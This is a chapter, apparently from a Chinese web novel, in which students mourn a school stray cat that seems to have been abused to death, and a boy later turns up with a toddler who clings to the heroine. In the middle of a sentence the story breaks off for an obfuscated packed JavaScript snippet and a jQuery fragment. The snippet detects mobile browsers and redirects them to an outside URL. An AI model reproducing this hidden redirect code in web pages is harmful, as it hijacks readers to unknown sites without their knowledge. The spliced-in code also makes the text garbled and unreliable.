楼道里收垃圾的清洁工很快处理了奶牛猫的尸体。


    有女生在旁边轻声哭泣，被朋友拍着肩安慰。


    “我上午还喂过警长呢呜呜——包里还有它最喜欢的火腿肠……”


    “阿姨会把它带到哪去啊，不会就这么扔到垃圾箱吧。”


    “唉要不我们跟去看看，埋到池塘那边去吧，警长最爱去那了。”


    几个女生商量着小跑追上去。


    警长年纪到了，大家都知道迟早会有这一天来临，但没想到会这么快。


    一中校园里常出没的流浪猫，叫的上名字的有十多只。这些猫大都亲人，也很有猫德，只在校园各个角落里活动，几乎不会来教学楼这里，来打扰学生正常上课。


    这是好多人，第一次在教学区的回廊里看见这只叫警长的奶牛猫，也是最后一次了。


    连廊里聚集的学生逐渐离开，放学了，悲伤过后大家都有自己的事要做。


    人流散了。


    梁笑笑靠在走廊的墙上，抱着手臂独自站了会。


    警长躺过的角落里，有一小摊积水，房檐的水珠滴落下来，荡起的水纹里隐隐泛着红色。


    刚才清洁工用火钳夹起奶牛猫的颈部，它的身体软塌塌的，头和四肢下垂，口鼻周围有明显干涸的血迹。


    据说猫狗都是很有灵性的生物，预感到自己死期将至时，会找一个无人的野外独自等待死亡。


    但警长死在教学楼之间的回廊里，看尸体的状态，更像是非自然性的死亡。


    梁笑笑眉头紧锁，连廊的另一端，徐森然单肩背着书包，朝她走来。


    徐森然：“手怎么这么凉。”


    梁笑笑的手被徐森然握了握，他的掌心一如既然的干燥、散发着温热的暖意。


    梁笑笑视线从手上移到他脸上，好似这会才回过神来。


    “吓到了？”徐森然温声说，“走吧，我送你回去。”


    梁笑笑搓了搓指尖，指腹还留着他手心的余温。


    “你家以前养过猫吗？有钱人家是不是一般都会养品种猫，像是布偶之类的。”梁笑笑话一出口，其实就有些后悔了。


    她在怀疑试探什么？


    对徐森然吗？


    梁笑笑想到这，忽然顿住了，徐可的话术实在太过于有蛊惑性，连自己这样一个无关紧要的人，徐可都要来极力煽动一番，那徐森然的亲人，他的父亲，是不是也曾怀疑过他，甚至因此对他发难。


    所以他才一个人孤零零来这座城市念书？


    “我没养过猫，我从小就对猫毛这些过敏。我爸那个人是混账了点，倒没有谋杀亲子的打算。”徐森然淡淡笑了说，“不过我发现年纪大点后，过敏没那么严重了，上次找阿黄那天，我提前吃了药，抱它时间挺久的，也一点事没有。”


    梁笑笑最近为阿黄找收养的事发愁，徐森然看着眼里，他在联系一款进口的抗过敏药了，要是可以的话，他就可以收养阿黄了。


    不过这事，他还是打算等定下来了再说。


    ……


    当天晚上，一中的贴吧里，就被关于警长之死的帖子刷了屏。


    亲手埋掉警长的几个女生，摸到它胸骨那块内陷很严重，大着胆子检查了一遍，发现四肢骨头都很不自然地折起来了。


    《警长是被人虐杀的，我们要给它讨回公道》，连续好几天，一中贴吧最顶端都是这则帖子，连校方都惊动了。


    但校园里监控有限，警长爱活动的区域都是无监控的，连廊里倒是有一个，但已经坏了很长时间。


    有学生提出调其他区域监控来查线索，校方边拖延边糊弄，一只小流浪猫的死亡，远比查出来真有一个虐猫的学生，事态要小得多，息事宁人才是大人们最稳妥的利己方式。


    小半个月过去，校园里永远有新鲜事，渐渐地，关于对警长死亡的讨伐声，随着帖子地不断下坠，而销声匿迹了。


    ……


    那之后每天放学后，梁笑笑离开前，都要特意去林子里绕上一圈，看到阿黄四仰八叉地躺在隐蔽灌木里睡着，才会悄悄走开了。


    警长事件之后，一中没再发现同样的虐猫事件，但梁笑笑总感觉有种风雨骤来的不安感。


    给阿黄找领养的帖子，这几天多了不少回复，但最后是校园里好几只温顺的猫咪被领养走了，领养的学生还在楼层里发了收编后的照片。


    这帖子成了一中猫咪领养交流贴，可惜阿黄始终无人问津。


    ……


    高三学生的日子，过得和流水一样快。


    这天，学习小组成立后的第一次聚会，仍是定在徐森然家。


    梁笑笑看完阿黄，急急赶到校门口时，张萌萌等人都已经到齐了。


    张萌萌他们准备了一堆吃的喝的，张嘉琪还扛了个烧烤架，一路闹哄哄吵着让越星光抗会，一群人说是去参加学习会，更像是去郊游。


    进了明溪公馆大门，几人已经熟门熟路了，但张嘉琪刚打了个电话给徐森然，没人接听。


    “哎徐森然咋回事，说好今天放学后过去的，怎么自己没影了，不会等会我们到他家门口，他不在家吧？”张萌萌扛着大包的零食，在前面走着，挥挥手，招呼梁笑笑他们快点。


    张嘉琪单肩夹着手机，听着忙音有些烦躁地撸了一把自己卷发，“还是没接，这徐狗！”


    “他下午接了个电话就跑了，也没说咱们晚上的学习会要取消啊，来都来了。”


    一句来都来了，他们大包小包扛过来的，今天就必须在这吃完了这顿再走！


    “我靠徐狗，太不靠谱了！”


    张嘉琪挂掉电话，抓抓头皮，“那我们怎么进去？”


    几人站在徐森然家门口，大眼瞪小眼。


    “梁笑笑要不你打一个试试？”张嘉琪把烧烤架子一扔，喘着粗气往地上一蹲。


    越星光白他一眼，“你打不接，她打难道就接啊？”


    “诶那可不一定，徐狗就是这样的货色！”


    眼看又要吵起来，梁笑笑无奈摸出手机，通讯录里人员少的可怜，徐森然占了首字母的便宜，在第一位。


    梁笑笑拨了电话，将手机夹在耳边，手边已经打开记英语的小本子。


    “嘟——”


    听筒里响起第一声，第二声还没响起，徐森然略带磁性的嗓音已经传来。


    “喂，笑笑？”


    梁笑笑的手机漏音严重，旁边或蹲或站的几人，都竖起了耳朵来。


    “艹啊，徐狗人设真是不倒！”


    “呵呵。”


    “额……”梁笑笑有点尴尬地拿住手机，“你去哪了？不是说好今天学习会么，我们都在你家门口……”


    “我家？糟了，我给忘了！（baba！叭叭——）”


    “别吵嘘！”


    听筒里有滋滋的电流干扰声，但梁笑笑感觉自己好似听到了除徐森然之外的声音，是奶声奶气的小孩叫声。


    “爸爸！”


    比刚才那声更响亮了，好像就近在身边。


    “呜呜——麻——”


    “嘘！刚怎么跟你讲的，梁凌？”


    没听错，就是徐森然跟小孩子的声音，在梁笑笑他们的身后。


    梁笑笑握着手机转过头去，瞳孔微微紧缩，徐森然单手抱着个小孩，出现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320670|183077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在他们来时的林荫道上，另一手提了满满一大袋的东西。


    半透明的塑料袋里，隐约可见桶装的奶粉和玩具之类的东西。


    小孩看起来三四岁的样子，背着一个黄色鸭子的毛绒小书包，栗色头发有些微微自然卷，脸蛋粉嫩玉琢的，很是漂亮。


    “卧槽啊徐狗！你哪弄来的一小鬼啊！”张嘉琪跳起来，一个健步冲上去，像个猩猩围着两人跳了几步，热情道，“这小孩长得还挺可爱呐！来，叫哥，哥给你买糖吃~”


    “不要！呜呜~~”小孩转过身，把头埋进徐森然颈间，正要放声大哭，又想起来什么似的，朝着张嘉琪身后着急地张开手。


    “抱呜！梁笑——嗷！”


    小孩子声音黏糊糊的，叫梁笑笑名字的时候，却怪异的有种徐森然叫她时候的味道。笑笑两个字连起来念很快，听起来就像是梁笑啊呜……


    梁笑笑皱眉看着他们俩，耳边幻听般响起徐森然那天抱着她，哭得惊天地泣鬼神般时候说的话。


    “梁笑笑！你抛夫弃子——”


    ！！


    梁笑笑感觉脑子里“嗡”地一声，像是突然空耳了一下。


    她杵在原地，根本动也不敢动一下。


    什么玩意，她确信自己绝没有早恋过，更不可能有这么一好大儿的！


    一切都是幻觉！幻觉！


    关键是这小孩，怎么长得还真有几分像她！


    “梁笑——嗷！”小孩在徐森然怀里乱蹦，像条上岸的鱼力道大到让一个高大男生差点脱手。


    “梁凌。”徐森然低低警告了声。


    小孩扁扁嘴，瞬间大眼睛里掉出一成串的眼泪。


    “这小孩认识笑笑？”张萌萌凑上前去，从包里抽了张纸巾给他塞手心里，“天啊，这小孩——笑笑你快来看！”


    梁笑笑愣愣地“啊”一声，有些不知所措，张萌萌也觉得像吗？


    “这小孩长真好看哎，太可爱了吧！跟个网上那个娃娃一样，好精致啊……校草，这小孩哪弄来的啊？”


    “亲戚家的一个孩子，过来跟我住。”


    “他是男生，女生？”


    “梁凌似男、男生！”小孩打了个哭嗝，回答后继续吧嗒吧嗒掉眼泪，视线却一直粘着梁笑笑身上。


    越星光跨步过去，盯着小孩狐疑看了几眼，眉头紧锁转向徐森然问：“梁凌？他也姓梁？”


    “哦，那不是跟梁笑笑同姓嘛，还挺有缘哈哈。”张嘉琪一把撞开了越星光，乐呵呵地逗小孩叫人，“乖，叫声哥哥来听！”


    徐森然冷笑一声，把手里的大包东西拍张嘉琪怀里，“帮你弟弟拿着。”


    “靠！买了什么这么重！”


    徐森然熟练地抱着小孩换了个手，给他拍了个拍嗝后，指着张嘉琪说，“这是张狗，叫他，叫声哥。”


    小孩乖乖的跟着喊人：“格格，嗝~”


    “哎~”张嘉琪心化了，他最讨厌小孩了，但长得讨人喜欢又礼貌的除外。


    “好了，乖儿子，给你爸让让路。”徐森然挥开张嘉琪，朝里走去，让小孩喊了张萌萌和越星光一声“解解”和“格格”。


    直到门口站着的梁笑笑面前时，已经收了俩义子和一义女了。


    梁凌原本好不容易止住了抽泣，在能伸手就能够到梁笑笑距离的那一刻，小孩彻底绷不住了，“哇”地放声大哭起来。


    徐森然轻轻拍了拍他，“记得拉钩的事吗？”


    “呜——”


    不能叫麻麻呜呜，叫了麻麻的话，她会跟以前一样不见的——


    可是！


    “梁笑嗷——不要我了呜——”